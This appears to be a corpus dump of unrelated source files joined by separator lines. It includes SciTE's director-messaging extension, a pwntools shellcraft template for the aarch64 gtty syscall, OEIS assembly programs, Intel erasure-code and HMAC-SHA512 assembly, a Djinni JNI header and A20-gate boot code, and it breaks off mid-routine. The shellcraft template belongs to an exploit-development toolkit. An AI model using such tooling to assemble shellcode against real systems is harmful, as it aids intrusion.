00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
// SciTE - Scintilla based Text Editor
/** @file DirectorExtension.cxx
** Extension for communicating with a director program.
**/
// Copyright 1998-2001 by Neil Hodgson <neilh@scintilla.org>
// The License.txt file describes the conditions under which this software may be distributed.
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <string>
#include <string_view>
#include <vector>
#include <map>
#include <set>
#include <memory>
#include <chrono>
#undef _WIN32_WINNT
#define _WIN32_WINNT 0x0602
#include <windows.h>
#include <commctrl.h>
#include "ILexer.h"
#include "ScintillaTypes.h"
#include "ScintillaCall.h"
#include "GUI.h"
#include "ScintillaWindow.h"
#include "StringList.h"
#include "StringHelpers.h"
#include "FilePath.h"
#include "StyleDefinition.h"
#include "PropSetFile.h"
#include "Extender.h"
#include "SciTE.h"
#include "Mutex.h"
#include "JobQueue.h"
#include "Cookie.h"
#include "Worker.h"
#include "MatchMarker.h"
#include "SciTEBase.h"
#include "DirectorExtension.h"
static HWND wDirector {};
static HWND wCorrespondent {};
static HWND wReceiver {};
static bool startedByDirector = false;
static bool shuttingDown = false;
unsigned int SDI = 0;
static bool HasConnection() noexcept {
return wDirector || wCorrespondent;
}
static void SendDirector(const char *verb, const char *arg = nullptr) {
if (HasConnection()) {
HWND wDestination = wCorrespondent;
std::string addressedMessage;
if (wDestination) {
addressedMessage += ":";
std::string address = StdStringFromSizeT(reinterpret_cast<size_t>(wDestination));
addressedMessage += address;
addressedMessage += ":";
} else {
wDestination = wDirector;
}
addressedMessage += verb;
addressedMessage += ":";
if (arg)
addressedMessage += arg;
std::string slashedMessage = Slash(addressedMessage, false);
COPYDATASTRUCT cds;
cds.dwData = 0;
cds.cbData = static_cast<DWORD>(slashedMessage.length());
slashedMessage.append(1, '\0'); // Ensure NUL at end of string
cds.lpData = &slashedMessage[0];
::SendMessage(wDestination, WM_COPYDATA,
reinterpret_cast<WPARAM>(wReceiver),
reinterpret_cast<LPARAM>(&cds));
}
}
static void SendDirector(const char *verb, intptr_t arg) {
std::string s = std::to_string(arg);
::SendDirector(verb, s.c_str());
}
static HWND HwndFromString(const char *s) noexcept {
return reinterpret_cast<HWND>(static_cast<uintptr_t>(atoll(s)));
}
static void CheckEnvironment(ExtensionAPI *phost) {
if (phost && !shuttingDown) {
if (!wDirector) {
std::string director = phost->Property("director.hwnd");
if (director.length() > 0) {
startedByDirector = true;
wDirector = HwndFromString(director.c_str());
// Director is just seen so identify this to it
::SendDirector("identity", reinterpret_cast<intptr_t>(wReceiver));
}
}
std::string sReceiver = StdStringFromSizeT(reinterpret_cast<size_t>(wReceiver));
phost->SetProperty("WindowID", sReceiver.c_str());
}
}
static TCHAR DirectorExtension_ClassName[] = TEXT("DirectorExtension");
static LRESULT HandleCopyData(LPARAM lParam) {
const COPYDATASTRUCT *pcds = reinterpret_cast<COPYDATASTRUCT *>(lParam);
// Copy into an temporary buffer to ensure \0 terminated
if (pcds->lpData) {
std::string dataCopy(static_cast<const char *>(pcds->lpData), pcds->cbData);
DirectorExtension::Instance().HandleStringMessage(dataCopy.c_str());
}
return 0;
}
LRESULT PASCAL DirectorExtension_WndProc(
HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam) {
if (iMessage == WM_COPYDATA) {
return HandleCopyData(lParam);
} else if (iMessage == SDI) {
return SDI;
}
return ::DefWindowProc(hWnd, iMessage, wParam, lParam);
}
static void DirectorExtension_Register(HINSTANCE hInstance) noexcept {
WNDCLASS wndclass;
wndclass.style = 0;
wndclass.lpfnWndProc = DirectorExtension_WndProc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = {};
wndclass.hCursor = {};
wndclass.hbrBackground = {};
wndclass.lpszMenuName = nullptr;
wndclass.lpszClassName = DirectorExtension_ClassName;
if (!::RegisterClass(&wndclass))
::exit(FALSE);
}
DirectorExtension &DirectorExtension::Instance() {
static DirectorExtension singleton;
return singleton;
}
bool DirectorExtension::Initialise(ExtensionAPI *host_) {
host = host_;
SDI = ::RegisterWindowMessage(TEXT("SciTEDirectorInterface"));
HINSTANCE hInstance = reinterpret_cast<HINSTANCE>(
host->GetInstance());
DirectorExtension_Register(hInstance);
wReceiver = ::CreateWindow(
DirectorExtension_ClassName,
DirectorExtension_ClassName,
0,
0, 0, 0, 0,
0,
0,
hInstance,
nullptr);
if (!wReceiver)
::exit(FALSE);
// Make the frame window handle available so the director can activate it.
::SetWindowLongPtr(wReceiver, GWLP_USERDATA,
reinterpret_cast<LONG_PTR>((static_cast<SciTEBase *>(host))->GetID()));
CheckEnvironment(host);
return true;
}
bool DirectorExtension::Finalise() {
::SendDirector("closing");
if (wReceiver)
::DestroyWindow(wReceiver);
wReceiver = {};
return true;
}
bool DirectorExtension::Clear() {
return false;
}
bool DirectorExtension::Load(const char *) {
return false;
}
bool DirectorExtension::OnOpen(const char *path) {
CheckEnvironment(host);
if (*path) {
::SendDirector("opened", path);
}
return false;
}
bool DirectorExtension::OnSwitchFile(const char *path) {
CheckEnvironment(host);
if (*path) {
::SendDirector("switched", path);
}
return false;
}
bool DirectorExtension::OnSave(const char *path) {
CheckEnvironment(host);
if (*path) {
::SendDirector("saved", path);
}
return false;
}
bool DirectorExtension::OnClose(const char *path) {
CheckEnvironment(host);
if (*path) {
::SendDirector("closed", path);
}
return false;
}
bool DirectorExtension::NeedsOnClose() {
CheckEnvironment(host);
return HasConnection();
}
bool DirectorExtension::OnChar(char) {
return false;
}
bool DirectorExtension::OnExecute(const char *cmd) {
CheckEnvironment(host);
::SendDirector("macro:run", cmd);
return false;
}
bool DirectorExtension::OnSavePointReached() {
return false;
}
bool DirectorExtension::OnSavePointLeft() {
return false;
}
bool DirectorExtension::OnStyle(SA::Position, SA::Position, int, StyleWriter *) {
return false;
}
// These should probably have arguments
bool DirectorExtension::OnDoubleClick() {
return false;
}
bool DirectorExtension::OnUpdateUI() {
return false;
}
bool DirectorExtension::OnMarginClick() {
return false;
}
bool DirectorExtension::OnMacro(const char *command, const char *params) {
SendDirector(command, params);
return false;
}
bool DirectorExtension::SendProperty(const char *prop) {
CheckEnvironment(host);
if (*prop) {
::SendDirector("property", prop);
}
return false;
}
void DirectorExtension::HandleStringMessage(const char *message) {
// Message may contain multiple commands separated by '\n'
// Reentrance trouble - if this function is reentered, the wCorrespondent may
// be set to zero before time.
StringList wlMessage(true);
wlMessage.Set(message);
for (size_t i = 0; i < wlMessage.Length(); i++) {
// Message format is [:return address:]command:argument
char *cmd = wlMessage[i];
if (*cmd == ':') {
// There is a return address
char *colon = strchr(cmd + 1, ':');
if (colon) {
*colon = '\0';
wCorrespondent = HwndFromString(cmd + 1);
cmd = colon + 1;
}
}
if (isprefix(cmd, "identity:")) {
const char *arg = strchr(cmd, ':');
if (arg)
wDirector = HwndFromString(arg + 1);
} else if (isprefix(cmd, "closing:")) {
wDirector = {};
if (startedByDirector) {
shuttingDown = true;
if (host) {
host->ShutDown();
}
shuttingDown = false;
}
} else if (host) {
host->Perform(cmd);
}
wCorrespondent = {};
}
}
|
<%
from pwnlib.shellcraft.aarch64.linux import syscall
%>
<%page args="fd, params"/>
<%docstring>
Invokes the syscall gtty. See 'man 2 gtty' for more information.
Arguments:
fd(int): fd
params(sgttyb): params
</%docstring>
${syscall('SYS_gtty', fd, params)}
|
; A022140: Fibonacci sequence beginning 5, 16.
; 5,16,21,37,58,95,153,248,401,649,1050,1699,2749,4448,7197,11645,18842,30487,49329,79816,129145,208961,338106,547067,885173,1432240,2317413,3749653,6067066,9816719,15883785,25700504,41584289,67284793,108869082,176153875
mov $1,5
mov $2,11
lpb $0,1
sub $0,1
mov $3,$1
add $1,$2
mov $2,$3
lpe
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2015 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; gf_5vect_dot_prod_avx(len, vec, *g_tbls, **buffs, **dests);
;;;
%include "reg_sizes.asm"
%ifidn __OUTPUT_FORMAT__, elf64
%define arg0 rdi
%define arg1 rsi
%define arg2 rdx
%define arg3 rcx
%define arg4 r8
%define arg5 r9
%define tmp r11
%define tmp2 r10
%define tmp3 r13 ; must be saved and restored
%define tmp4 r12 ; must be saved and restored
%define tmp5 r14 ; must be saved and restored
%define tmp6 r15 ; must be saved and restored
%define return rax
%define PS 8
%define LOG_PS 3
%define func(x) x:
%macro FUNC_SAVE 0
push r12
push r13
push r14
push r15
%endmacro
%macro FUNC_RESTORE 0
pop r15
pop r14
pop r13
pop r12
%endmacro
%endif
%ifidn __OUTPUT_FORMAT__, win64
%define arg0 rcx
%define arg1 rdx
%define arg2 r8
%define arg3 r9
%define arg4 r12 ; must be saved, loaded and restored
%define arg5 r15 ; must be saved and restored
%define tmp r11
%define tmp2 r10
%define tmp3 r13 ; must be saved and restored
%define tmp4 r14 ; must be saved and restored
%define tmp5 rdi ; must be saved and restored
%define tmp6 rsi ; must be saved and restored
%define return rax
%define PS 8
%define LOG_PS 3
%define stack_size 10*16 + 7*8 ; must be an odd multiple of 8
%define arg(x) [rsp + stack_size + PS + PS*x]
%define func(x) proc_frame x
%macro FUNC_SAVE 0
alloc_stack stack_size
vmovdqa [rsp + 0*16], xmm6
vmovdqa [rsp + 1*16], xmm7
vmovdqa [rsp + 2*16], xmm8
vmovdqa [rsp + 3*16], xmm9
vmovdqa [rsp + 4*16], xmm10
vmovdqa [rsp + 5*16], xmm11
vmovdqa [rsp + 6*16], xmm12
vmovdqa [rsp + 7*16], xmm13
vmovdqa [rsp + 8*16], xmm14
vmovdqa [rsp + 9*16], xmm15
save_reg r12, 10*16 + 0*8
save_reg r13, 10*16 + 1*8
save_reg r14, 10*16 + 2*8
save_reg r15, 10*16 + 3*8
save_reg rdi, 10*16 + 4*8
save_reg rsi, 10*16 + 5*8
end_prolog
mov arg4, arg(4)
%endmacro
%macro FUNC_RESTORE 0
vmovdqa xmm6, [rsp + 0*16]
vmovdqa xmm7, [rsp + 1*16]
vmovdqa xmm8, [rsp + 2*16]
vmovdqa xmm9, [rsp + 3*16]
vmovdqa xmm10, [rsp + 4*16]
vmovdqa xmm11, [rsp + 5*16]
vmovdqa xmm12, [rsp + 6*16]
vmovdqa xmm13, [rsp + 7*16]
vmovdqa xmm14, [rsp + 8*16]
vmovdqa xmm15, [rsp + 9*16]
mov r12, [rsp + 10*16 + 0*8]
mov r13, [rsp + 10*16 + 1*8]
mov r14, [rsp + 10*16 + 2*8]
mov r15, [rsp + 10*16 + 3*8]
mov rdi, [rsp + 10*16 + 4*8]
mov rsi, [rsp + 10*16 + 5*8]
add rsp, stack_size
%endmacro
%endif
%define len arg0
%define vec arg1
%define mul_array arg2
%define src arg3
%define dest arg4
%define ptr arg5
%define vec_i tmp2
%define dest1 tmp3
%define dest2 tmp4
%define vskip1 tmp5
%define vskip3 tmp6
%define pos return
%ifndef EC_ALIGNED_ADDR
;;; Use Un-aligned load/store
%define XLDR vmovdqu
%define XSTR vmovdqu
%else
;;; Use Non-temporal load/stor
%ifdef NO_NT_LDST
%define XLDR vmovdqa
%define XSTR vmovdqa
%else
%define XLDR vmovntdqa
%define XSTR vmovntdq
%endif
%endif
default rel
[bits 64]
section .text
%define xmask0f xmm15
%define xgft1_lo xmm14
%define xgft1_hi xmm13
%define xgft2_lo xmm12
%define xgft2_hi xmm11
%define xgft3_lo xmm10
%define xgft3_hi xmm9
%define xgft4_lo xmm8
%define xgft4_hi xmm7
%define x0 xmm0
%define xtmpa xmm1
%define xp1 xmm2
%define xp2 xmm3
%define xp3 xmm4
%define xp4 xmm5
%define xp5 xmm6
align 16
mk_global gf_5vect_dot_prod_avx, function
func(gf_5vect_dot_prod_avx)
FUNC_SAVE
sub len, 16
jl .return_fail
xor pos, pos
vmovdqa xmask0f, [mask0f] ;Load mask of lower nibble in each byte
mov vskip1, vec
imul vskip1, 32
mov vskip3, vec
imul vskip3, 96
sal vec, LOG_PS ;vec *= PS. Make vec_i count by PS
mov dest1, [dest]
mov dest2, [dest+PS]
.loop16:
mov tmp, mul_array
xor vec_i, vec_i
vpxor xp1, xp1
vpxor xp2, xp2
vpxor xp3, xp3
vpxor xp4, xp4
vpxor xp5, xp5
.next_vect:
mov ptr, [src+vec_i]
add vec_i, PS
XLDR x0, [ptr+pos] ;Get next source vector
vmovdqu xgft1_lo, [tmp] ;Load array Ax{00}, Ax{01}, ..., Ax{0f}
vmovdqu xgft1_hi, [tmp+16] ; " Ax{00}, Ax{10}, ..., Ax{f0}
vmovdqu xgft2_lo, [tmp+vskip1*1] ;Load array Bx{00}, Bx{01}, ..., Bx{0f}
vmovdqu xgft2_hi, [tmp+vskip1*1+16] ; " Bx{00}, Bx{10}, ..., Bx{f0}
vmovdqu xgft3_lo, [tmp+vskip1*2] ;Load array Cx{00}, Cx{01}, ..., Cx{0f}
vmovdqu xgft3_hi, [tmp+vskip1*2+16] ; " Cx{00}, Cx{10}, ..., Cx{f0}
vmovdqu xgft4_lo, [tmp+vskip3] ;Load array Dx{00}, Dx{01}, ..., Dx{0f}
vmovdqu xgft4_hi, [tmp+vskip3+16] ; " Dx{00}, Dx{10}, ..., Dx{f0}
vpand xtmpa, x0, xmask0f ;Mask low src nibble in bits 4-0
vpsraw x0, x0, 4 ;Shift to put high nibble into bits 4-0
vpand x0, x0, xmask0f ;Mask high src nibble in bits 4-0
vpshufb xgft1_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft1_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft1_hi, xgft1_lo ;GF add high and low partials
vpxor xp1, xgft1_hi ;xp1 += partial
vpshufb xgft2_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft2_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft2_hi, xgft2_lo ;GF add high and low partials
vpxor xp2, xgft2_hi ;xp2 += partial
vmovdqu xgft1_lo, [tmp+vskip1*4] ;Load array Ex{00}, Ex{01}, ..., Ex{0f}
vmovdqu xgft1_hi, [tmp+vskip1*4+16] ; " Ex{00}, Ex{10}, ..., Ex{f0}
add tmp, 32
vpshufb xgft3_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft3_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft3_hi, xgft3_lo ;GF add high and low partials
vpxor xp3, xgft3_hi ;xp3 += partial
vpshufb xgft4_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft4_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft4_hi, xgft4_lo ;GF add high and low partials
vpxor xp4, xgft4_hi ;xp4 += partial
vpshufb xgft1_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft1_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft1_hi, xgft1_lo ;GF add high and low partials
vpxor xp5, xgft1_hi ;xp5 += partial
cmp vec_i, vec
jl .next_vect
mov tmp, [dest+2*PS]
mov ptr, [dest+3*PS]
mov vec_i, [dest+4*PS]
XSTR [dest1+pos], xp1
XSTR [dest2+pos], xp2
XSTR [tmp+pos], xp3
XSTR [ptr+pos], xp4
XSTR [vec_i+pos], xp5
add pos, 16 ;Loop on 16 bytes at a time
cmp pos, len
jle .loop16
lea tmp, [len + 16]
cmp pos, tmp
je .return_pass
;; Tail len
mov pos, len ;Overlapped offset length-16
jmp .loop16 ;Do one more overlap pass
.return_pass:
FUNC_RESTORE
mov return, 0
ret
.return_fail:
FUNC_RESTORE
mov return, 1
ret
endproc_frame
section .data
align 16
mask0f: dq 0x0f0f0f0f0f0f0f0f, 0x0f0f0f0f0f0f0f0f
;;; func core, ver, snum
slversion gf_5vect_dot_prod_avx, 02, 04, 0194
|
// AUTOGENERATED FILE - DO NOT MODIFY!
// This file was generated by Djinni from proj.djinni
#pragma once
#include "djinni/jni/djinni_support.hpp"
#include "ezored/net/http/HttpClient.hpp"
namespace djinni_generated
{
class EZRHttpClient final : ::djinni::JniInterface<::ezored::net::http::HttpClient, EZRHttpClient>
{
public:
using CppType = std::shared_ptr<::ezored::net::http::HttpClient>;
using CppOptType = std::shared_ptr<::ezored::net::http::HttpClient>;
using JniType = jobject;
using Boxed = EZRHttpClient;
~EZRHttpClient();
static CppType toCpp(JNIEnv *jniEnv, JniType j) { return ::djinni::JniClass<EZRHttpClient>::get()._fromJava(jniEnv, j); }
static ::djinni::LocalRef<JniType> fromCppOpt(JNIEnv *jniEnv, const CppOptType &c) { return {jniEnv, ::djinni::JniClass<EZRHttpClient>::get()._toJava(jniEnv, c)}; }
static ::djinni::LocalRef<JniType> fromCpp(JNIEnv *jniEnv, const CppType &c) { return fromCppOpt(jniEnv, c); }
private:
EZRHttpClient();
friend ::djinni::JniClass<EZRHttpClient>;
friend ::djinni::JniInterface<::ezored::net::http::HttpClient, EZRHttpClient>;
};
} // namespace djinni_generated
|
; A062708: Write 0,1,2,3,4,... in a triangular spiral; then a(n) is the sequence found by reading the terms along the line from 0 in the direction 0,2,...
; 0,2,13,33,62,100,147,203,268,342,425,517,618,728,847,975,1112,1258,1413,1577,1750,1932,2123,2323,2532,2750,2977,3213,3458,3712,3975,4247,4528,4818,5117,5425,5742,6068,6403,6747,7100,7462,7833,8213,8602,9000,9407,9823,10248,10682,11125,11577,12038,12508,12987,13475,13972,14478,14993,15517,16050,16592,17143,17703,18272,18850,19437,20033,20638,21252,21875,22507,23148,23798,24457,25125,25802,26488,27183,27887,28600,29322,30053,30793,31542,32300,33067,33843,34628,35422,36225,37037,37858,38688,39527
sub $1,$0
mul $0,3
bin $0,2
add $1,$0
mov $0,$1
|
; A006117: Sum of Gaussian binomial coefficients [ n,k ] for q=3.
; Submitted by Stefano Spezia
; 1,2,6,28,212,2664,56632,2052656,127902864,13721229088,2544826627424,815300788443072,452436459318538048,434188323928823259776,722197777341507864283008,2078153254879878944892861184,10366904326991986000747424911616,89478415088556766546699920236339712,1338962661056423158371347974009398601216,34668449164397338557541300583471825354021888,1556294042257028283442148151269460459678365586432,120884520306698189540520393526462997404847353068120064,16279627137217442508087719036676934010203793046866715195392
mov $1,$0
mov $0,0
add $1,1
mov $2,1
lpb $1
sub $1,1
mov $4,$2
mul $2,3
mul $4,$3
add $0,$4
sub $3,$4
add $3,$0
add $3,$2
lpe
mov $0,$3
div $0,9
add $0,1
|
; ---------------------------------------------------------------------------
; Ending start location array
; ---------------------------------------------------------------------------
incbin "startpos\ghz1 (Credits demo 1).bin"
incbin "startpos\mz2 (Credits demo).bin"
incbin "startpos\syz3 (Credits demo).bin"
incbin "startpos\lz3 (Credits demo).bin"
incbin "startpos\slz3 (Credits demo).bin"
incbin "startpos\sbz1 (Credits demo).bin"
incbin "startpos\sbz2 (Credits demo).bin"
incbin "startpos\ghz1 (Credits demo 2).bin"
even
|
; See https://wiki.osdev.org/A20_Line
[BITS 64]
enableA20:
call isA20On?
jnc .end
call enableA20BIOS
call isA20On?
jnc .end
call enableA20Keyboard
nop
nop
call isA20On?
jnc .end
call enableA20Fast
nop
nop
nop
nop
call isA20On?
.end: ; with carry flag set or clear
ret
; Check A20 line
; Returns to caller if A20 gate is cleared.
; Continues to A20_on if A20 line is set.
; Written by Elad Ashkcenazi
isA20On?:
push rdi
push rsi
mov edi, 0x112345 ; odd megabyte address.
mov esi, 0x012345 ; even megabyte address.
mov [esi], esi ; making sure that both addresses contain diffrent values.
mov [edi], edi ; (if A20 line is cleared the two pointers would point to the address 0x012345 that would contain 0x112345 (edi))
cmpsd ; compare addresses to see if the're equivalent.
jne .A20_on ; if not equivalent , A20 line is set.
jmp .end ; if equivalent , the A20 line is cleared.
.A20_on:
clc
jmp .end
.end:
pop rsi
pop rdi
ret
enableA20Keyboard:
push rax
cli
call .a20wait
mov al, 0xAD
out 0x64, al
call .a20wait
mov al, 0xD0
out 0x64, al
call .a20wait2
in al, 0x60
push rax
call .a20wait
mov al, 0xD1
out 0x64, al
call .a20wait
pop rax
or al, 2
out 0x60, al
call .a20wait
mov al, 0xAE
out 0x64, al
call .a20wait
sti
pop rax
ret
.a20wait:
in al, 0x64
test al, 2
jnz .a20wait
ret
.a20wait2:
in al, 0x64
test al, 1
jz .a20wait2
ret
enableA20Fast:
push ax
in al, 0x92
test al, 2
jnz .after
or al, 2
and al, 0xFE
out 0x92, al
.after:
pop ax
ret
enableA20BIOS:
push ax
mov ax,2403h ;--- A20-Gate Support ---
int 15h
jb .after ;INT 15h is not supported
cmp ah,0
jnz .after ;INT 15h is not supported
mov ax,2402h ;--- A20-Gate Status ---
int 15h
jb .after ;couldn't get status
cmp ah,0
jnz .after ;couldn't get status
cmp al,1
jz .after ;A20 is already activated
mov ax,2401h ;--- A20-Gate Activate ---
int 15h
jb .after ;couldn't activate the gate
cmp ah,0
jnz .after ;couldn't activate the gate
.after:
pop ax
ret
|
;;
;; Copyright (c) 2017-2022, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
;; In System V AMD64 ABI
;; callee saves: RBX, RBP, R12-R15
;; Windows x64 ABI
;; callee saves: RBX, RBP, RDI, RSI, RSP, R12-R15
;;
;; Clobbers ZMM0-31
%include "include/os.asm"
%include "include/imb_job.asm"
%include "include/mb_mgr_datastruct.asm"
%include "include/reg_sizes.asm"
%include "include/memcpy.asm"
%include "include/const.inc"
%include "include/cet.inc"
extern sha512_x8_avx512
mksection .rodata
default rel
align 16
dupw: ;ddq 0x01000100010001000100010001000100
dq 0x0100010001000100, 0x0100010001000100
align 16
byteswap: ;ddq 0x08090a0b0c0d0e0f0001020304050607
dq 0x0001020304050607, 0x08090a0b0c0d0e0f
mksection .text
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%define arg3 rcx
%define arg4 rdx
%else
%define arg1 rcx
%define arg2 rdx
%define arg3 rdi
%define arg4 rsi
%endif
%define state arg1
%define job arg2
%define len2 arg2
; idx needs to be in rbp, r13, r14, r16
%define last_len rbp
%define idx rbp
%define p r11
%define start_offset r11
%define unused_lanes rbx
%define tmp4 rbx
%define job_rax rax
%define len rax
%define size_offset arg3
%define tmp2 arg3
%define lane arg4
%define tmp3 arg4
%define extra_blocks r8
%define tmp r9
%define p2 r9
%define lane_data r10
; Define stack usage
; we clobber rbx, rsi, rdi, rbp; called routine also clobbers r12
struc STACK
_gpr_save: resq 8
_rsp_save: resq 1
endstruc
; JOB* FUNC(MB_MGR_HMAC_sha_512_OOO *state, IMB_JOB *job)
; arg 1 : rcx : state
; arg 2 : rdx : job
align 64
%ifndef SHA384
MKGLOBAL(submit_job_hmac_sha_512_avx512,function,internal)
%define SHA_X_DIGEST_SIZE 512
submit_job_hmac_sha_512_avx512:
endbranch64
%else
MKGLOBAL(submit_job_hmac_sha_384_avx512,function,internal)
%define SHA_X_DIGEST_SIZE 384
submit_job_hmac_sha_384_avx512:
endbranch64
%endif
mov rax, rsp
sub rsp, STACK_size
and rsp, -32
mov [rsp + _gpr_save + 8*0], rbx
mov [rsp + _gpr_save + 8*1], rbp
mov [rsp + _gpr_save + 8*2], r12
mov [rsp + _gpr_save + 8*3], r13
mov [rsp + _gpr_save + 8*4], r14
mov [rsp + _gpr_save + 8*5], r15
%ifndef LINUX
mov [rsp + _gpr_save + 8*6], rsi
mov [rsp + _gpr_save + 8*7], rdi
%endif
mov [rsp + _rsp_save], rax ; original SP
mov unused_lanes, [state + _unused_lanes_sha512]
mov lane, unused_lanes
and lane, 15
shr unused_lanes, 4
imul lane_data, lane, _SHA512_LANE_DATA_size
lea lane_data, [state + _ldata_sha512 + lane_data]
mov [state + _unused_lanes_sha512], unused_lanes
mov len, [job + _msg_len_to_hash_in_bytes]
mov tmp, len
shr tmp, 7 ; divide by 128, len in terms of blocks
mov [lane_data + _job_in_lane_sha512], job
mov dword [lane_data + _outer_done_sha512], 0
VPINSRW_M256 state + _lens_sha512, xmm0, xmm1, p, lane, tmp, scale_x16
mov last_len, len
and last_len, 127
lea extra_blocks, [last_len + 17 + 127]
shr extra_blocks, 7
mov [lane_data + _extra_blocks_sha512], DWORD(extra_blocks)
mov p, [job + _src]
add p, [job + _hash_start_src_offset_in_bytes]
mov [state + _args_data_ptr_sha512 + PTR_SZ*lane], p
cmp len, 128
jb copy_lt128
fast_copy:
add p, len
vmovdqu32 zmm0, [p - 128 + 0*64]
vmovdqu32 zmm1, [p - 128 + 1*64]
vmovdqu32 [lane_data + _extra_block_sha512 + 0*64], zmm0
vmovdqu32 [lane_data + _extra_block_sha512 + 1*64], zmm1
end_fast_copy:
mov size_offset, extra_blocks
shl size_offset, 7
sub size_offset, last_len
add size_offset, 128-8
mov [lane_data + _size_offset_sha512], DWORD(size_offset)
mov start_offset, 128
sub start_offset, last_len
mov [lane_data + _start_offset_sha512], DWORD(start_offset)
lea tmp, [8*128 + 8*len]
bswap tmp
mov [lane_data + _extra_block_sha512 + size_offset], tmp
mov tmp, [job + _auth_key_xor_ipad]
%assign I 0
%rep 4
vmovdqu xmm0, [tmp + I * 2 * SHA512_DIGEST_WORD_SIZE]
vmovq [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*lane + (2*I + 0)*SHA512_DIGEST_ROW_SIZE], xmm0
